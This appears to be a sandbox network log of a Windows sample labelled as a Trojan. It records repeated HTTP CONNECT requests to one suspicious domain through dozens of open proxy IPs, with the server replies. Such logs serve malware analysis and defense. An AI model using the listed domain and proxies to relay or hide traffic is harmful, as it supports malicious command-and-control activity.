Feb 23, 2024 14:28:28.336957932 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
885	192.168.2.8	52822	125.228.143.207	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.252931118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
886	192.168.2.8	52868	104.20.179.187	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.253505945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.341243029 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
887	192.168.2.8	52872	185.238.228.67	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.268366098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.356158972 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
888	192.168.2.8	52884	203.22.223.12	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.275666952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.363503933 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
889	192.168.2.8	52886	104.19.171.188	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.276196957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.363219023 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
890	192.168.2.8	52860	159.203.61.169	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.276452065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.397183895 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
891	192.168.2.8	52820	103.23.100.1	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.303683043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
892	192.168.2.8	52809	115.144.163.192	27181	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.320461988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.194920063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.491913080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.992084026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.080619097 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
893	192.168.2.8	52837	185.101.16.52	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.348890066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
894	192.168.2.8	51596	113.160.182.236	19132	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.353466034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.382457972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.382838011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.382864952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:52.382801056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
895	192.168.2.8	52851	146.59.2.185	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.362921953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
896	192.168.2.8	52373	103.148.51.19	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.378716946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
897	192.168.2.8	52893	51.81.186.179	51405	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.396126986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.882477045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382989883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.382627010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.382652044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.382730007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.382644892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.382746935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.382416010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
898	192.168.2.8	51581	103.164.13.148	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.402302027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.812165976 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
899	192.168.2.8	51647	141.94.174.6	26422	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.412787914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.882527113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382633924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.195014954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.492002964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
900	192.168.2.8	52832	102.132.57.90	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.444677114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
901	192.168.2.8	52850	65.20.216.249	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.449692011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
902	192.168.2.8	52385	195.177.217.131	16150	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.456459999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.491816044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.492046118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.492001057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:52.491738081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:04.491595030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:16.585755110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
903	192.168.2.8	52834	43.133.80.236	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.484673977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
904	192.168.2.8	52892	154.92.116.77	6389	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.484777927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.796710968 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
905	192.168.2.8	52452	107.180.88.41	17276	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.488533020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.491789103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.492042065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.581804991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
906	192.168.2.8	52606	192.111.139.163	19404	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.488636971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
907	192.168.2.8	52891	102.223.20.217	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.488639116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.739238977 CET	518	IN	HTTP/1.1 302 Found Date: Fri, 23 Feb 2024 13:28:28 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://repository.gij.edu.gh Content-Length: 320 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 70 6f 73 69 74 6f 72 79 2e 67 69 6a 2e 65 64 75 2e 67 68 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://repository.gij.edu.gh">here</a>.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
908	192.168.2.8	52471	94.16.118.69	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.489298105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.491816998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.492050886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.581784010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:52.585342884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:04.585652113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:16.616655111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
909	192.168.2.8	52405	171.247.98.90	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.489396095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
910	192.168.2.8	52844	221.2.84.42	10800	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.489398003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
911	192.168.2.8	52919	192.210.228.28	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.489487886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
912	192.168.2.8	52876	47.243.205.1	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.489487886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
913	192.168.2.8	51616	2.239.213.133	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.489803076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.491816998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
